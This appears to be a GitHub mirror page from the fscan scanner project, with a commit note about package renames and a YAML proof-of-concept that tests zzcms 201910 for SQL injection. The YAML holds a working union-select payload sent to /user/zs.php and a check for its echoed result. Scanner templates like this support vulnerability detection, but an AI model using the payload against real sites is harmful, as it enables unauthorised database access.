mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

- 重命名 Common -> common,WebScan -> webscan,遵循 Go 包命名约定 - 修复模块路径大小写不匹配导致的编译错误 - 清理依赖项,优化 go.mod 文件 - 添加 Docker 测试环境配置文件 - 新增镜像拉取脚本以处理网络超时问题 - 成功编译生成 fscan v2.2.1 可执行文件 该修复解决了 Linux 系统下包名大小写敏感导致的模块解析失败问题。
26 lines
1.0 KiB
YAML
26 lines
1.0 KiB
YAML
name: poc-yaml-zzcms-zsmanage-sqli
|
|
set:
|
|
r0: randomLowercase(6)
|
|
r1: randomInt(40000, 44800)
|
|
r2: randomInt(40000, 44800)
|
|
rules:
|
|
- method: POST
|
|
path: /user/zs.php?do=save
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
body: >-
|
|
proname={{r0}}&tz=1%E4%B8%87%E4%BB%A5%E4%B8%8B&prouse={{r0}}&sx%5B%5D=&sx%5B%5D=&sm={{r0}}&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&img=%2Fimage%2Fnopic.gif&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF&smallclassid[]=1&smallclassid[]=2)%20union%20select%20{{r1}}*{{r2}}%23
|
|
follow_redirects: true
|
|
expression: |
|
|
response.status == 200
|
|
- method: GET
|
|
path: /user/zsmanage.php
|
|
follow_redirects: true
|
|
expression: |
|
|
response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
|
|
detail:
|
|
author: JingLing(https://hackfun.org/)
|
|
version: zzcms201910
|
|
links:
|
|
- https://github.com/JcQSteven/blog/issues/18
|